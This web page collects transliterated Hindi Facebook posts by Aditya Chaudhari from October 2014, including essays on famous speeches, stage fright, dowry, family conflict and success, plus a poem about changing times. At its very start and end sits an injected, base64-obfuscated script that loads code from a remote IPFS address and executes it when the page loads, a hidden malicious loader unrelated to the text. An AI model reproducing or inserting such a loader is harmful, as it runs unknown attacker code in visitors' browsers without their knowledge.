<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
adity chaudhari fesabuk post
- dinaank- 30 aktoobar, 2014
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duniya mean bhashan dene ke aur vibhinn sadanoan mean bolane ke tamam kirtiman haian. kyooba (kuba) ke poorv shasak fidel kasro ka sanyukt rashtr sangh mean 4 ghante 29 minat lagatar bhashan dene ka kirtiman hai, jo gines buk aauf varld rik aaurds mean bhi darj hai. kastro ka ek kirtiman kyooba ki rajadhani havana mean 7 ghante 10 minat ka bhi hai. amarika ke poorv rashtrapati j aaun kॅnedi ne disambar 1961 mean jo bhashan diya tha usamean 300 shabd prati minat se bhi tez gati thi. 300 shabd prati minat ki gati se bhashan de pana bahut hi kam logoan ke vash mean hai, kॅnedi ne is vaktavy mean kabhi-kabhi 350 shabd tak ki gati bhi chhoo li thi.
kaise bol lete haian log itane der tak, itani tez gati se aur itana prabhavashali ? sidhi si bat hai agar apake pas kuchh 'kahane' ko hai to ap bol sakate haian. yadi kuchh kahane ko nahian hai to bolana to kya manch par kh da hona bhi mushkil hai. duniya mean tamam tarah ke fobiya (dar) haian jinamean se sabase b da fobiya bhashan dena hai, ise glosofobiya (Glossophobia) kahate haian. yoonani (grik) bhasha mean jibh ko 'glosa' kahate haian isalie isaka nam bhi glosofobiya hai.
bharatiy sansad mean anek prabhavashali sanbodhan hote rahe haian. ek samay mean sansad mean prakashavir shastri dhara-pravah bola karate the. sansad se bahar (sansad bani bhi nahian thi tab tak) lokamany tilak, subhash chandr bos, svami vivekanand jaise kitane hi nam haian jo mahanh vaktaoan ki shreni mean ate haian. ajakal prabhavi vaktaoan ki sankhya mean kami a gee hai. kya lagata hai ki unake pas bolane ko kuchh nahian hai ya phir sunane vale ukata ge haian ? atal bihari vajapeyi aur somanath chatarji ke bad kaun sa aisa nam hai jise ham sansad ke prabhavashali sadasy ke roop mean yad rakheange ?
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- dinaank- 29 aktoobar, 2014
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adhikatar striyoan ka vichar apani beti ke bare mean to yah rahata hai ki 'jo mujhe nahian mil paya, vah meri beti ko milana chahie lekin bahoo ke bare mean soch doosari hi rahati hai ki 'jo mujhe nahian mila vah meri bahoo ko kaise milane dooangi !'. sas bahuoan ke vivad ke vishay ko lekar filmean banati haian, dharavahik banate haian.
kahate haian zamana badal gaya... badal to gaya lekin zara madhyavargiy parivaroan ke halat dekhiye to kuchh bhi nahian badala... vahi hai sab-kuchh... bahuoan ki zindagi ghooanghat se shuroo hokar maraghat tak khatm hone ke bich mean kab-kahaan usaka vyaktigat jivan hota hai ye pata lagana mushkil hai.
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- dinaank- 29 aktoobar, 2014
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uttar bharat mean, visheshakar uttarapradesh mean do galiyoan ka prachalan raha hai, ek to hai 'beti ke bap' aur doosari hai 'bhaanji ke mama.
zara sochie is nikrisht manasikata ke bare mean jahaan is prakar ki galiyaan chalati rahi haian aur kahian-kahian ab bhi chal rahi haian. beti ka bap hona ya mama hona gali kyoan hai.
kisi ke beti paida hona kya itana bura hai ? isaka sabase b da karan hai 'dahez pratha' aur dahez pratha ka mukhy karan hai l dakiyoan ka atm nirbhar n hona.
ham aksar dekhate haian ki l dake valoan ki or se ghareloo l daki ki maang hoti hai. b di ajib bat hai ki l daki padhi-likhi bhi honi chahie aur adhunik bhi lekin koee naukari ya vyapar n kare keval ghar ki shobha hi bani rahe.
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- dinaank- 29 aktoobar, 2014
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saphalata pane ke lie prayas karana, sangharsh karana aur usaka anand lene ke sapane dekhana to chalata hi rahata hai kiantu yah anand unhian ke hisse ata hai jo saphalata prapti ke sangharsh mean saphalata ko sthaee rakhana bhi sikh jate haian...
haan-haan baba maian bhi janata hooan ki saphalata sthaee nahian hoti lekin kisi n kisi svaroop mean bani avashy rah sakati hai yadi saphalata ko sanbhalane ka anubhav hasil kar liya ho. yah anubhav saphal vyaktiyoan ke achar-vyavahar ka adhyayan karake hi hota hai.
sabase mazedar bat yah hai ki saphalata prapti ka lamba sangharsh us prapt hone vali saphalata ko sthaee rakh pane ka shikshak hota hai.
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- dinaank- 29 aktoobar, 2014
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kabhi sab kuchh achchha hota hai tab bhi man udas hota hai aur kabhi sab kuchh viparit hone par bhi man mean ullas rahata hai.
aisa kyoan hota hai?
karan hai ki viparit sthiti mean chunauti samane hoti hai aur jab sab kuchh paksh mean hota hai to chunauti ka abhav hi man ko udas kar deta hai. jivan mean chunauti ki bhoomika ek t aaunik ki tarah hai. jo milata rahe to jivan, jivan hai aur sab kuchh jivant. -adity chaudhari
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- dinaank- 29 aktoobar, 2014
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yuddh, chunav, spardha mean lakshy keval jit hota hai. is jit ko hasil karane ki shart hoti hai, sab kuchh daanv par lagana. kahate bhi haian ki jitane ke lie koee bhi qimat chukani p de, jit hamesha sasti hoti hai. isaka sidha-sidha arth hai ki jit hasil karane ke lie kuchh bhi ganvana p de vah jayaz hai.
kuchh aisa hi ham apane bachchoan ko sikha rahe haian. isake sath-sath hamean yah bhi chianta rahati hai ki hamare bachche sahriday banean, budhape mean hamare sath dean... yah kaise mumakin hai jab ki unaki treniang hi bilkul alag tarah se ho rahi hai. jisake mool mean paisa hai aur ham apane bachchoan ko paisa banane ki mashin banane ke alava aur kar kya kar rahe haian... - adity chaudhari
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- dinaank- 17 aktoobar, 2014
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ek zamana tha
jab bachapan mean
too maan-bap ke lie
totali zaban tha
lekin ab
too maan-bap ke lie
markashit hai
tere nambar hi
unaki hartabit hai
ek zamana tha
jab aspatal mean
too mariz tha
too hi d aauktar ka
aziz tha
lekin ab
too matr ek bil hai
tujhase qimati to
teri kidani hai
dil hai
ek zamana tha
jab bahan-betiyoan se
gaanv abad tha
aur unaka pati
gaanv bhar ka
damad tha
lekin ab
vo matr l daki hai
usaki padhaee
aur shadi n hona
gaanv ki sharm nahian
usake maan-bap ki
k daki hai
ek zamana tha
jab tera kam
daftar ki zimmedari tha
baboo teri chay pikar hi
abhari tha
lekin ab
too afasar ki
fail hai
aur vo ab
janata ka nahian
paise ka kail hai
ek zamana tha
jab tere khet mean
sirf teri dakhal thi
desh ka matalab hi
tere khet ki fasal thi
lekin ab too
bina khet ka
kisan hai
tera khet to
simeant ka jangal hai
jisamean tujhe chho d
sabaka makan hai
ek zamana tha
jab azan se
teri subah
aur arati se
sham thi
bharat ke nam se hi
pahachan tamam thi
lekin ab
too sikh, eesaee, hindoo
ya musalaman hai
tere lie
ab desh nahian
tera mazahab hi
mahan hai
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- dinaank- 15 aktoobar, 2014
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yadi ap chahate haian ki log apako sarahean to apako apane 'subhita star' (Comfort level) ki taraf dhyan dena chahie. yane apaki maujoodagi mean log kitana sahaj mahasoos karate haian. jo log apake sahakarmi, mitr, parivari jan adi haian unhean apaki upasthiti mean kitani sahajata mahasoos hoti hai.
sada smaran rakhane yogy bat yah hai ki ap yogy kitane haian yah bat mahatvapoorn nahian hai balki apaka subhita star kitana hai, mahatvapoorn hai.
sanpoorn saphal vyaktitv ka rahasy buddhi, pratibha ya yogyata mean hi chhupa nahian hai balki 'subhita star' (Comfort level) isamean sabase mahatvapoorn bhoomika nibhata hai. -adity chaudhari
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shabdarth
sanbandhit lekh
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varnamala kramanusar lekh khoj
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
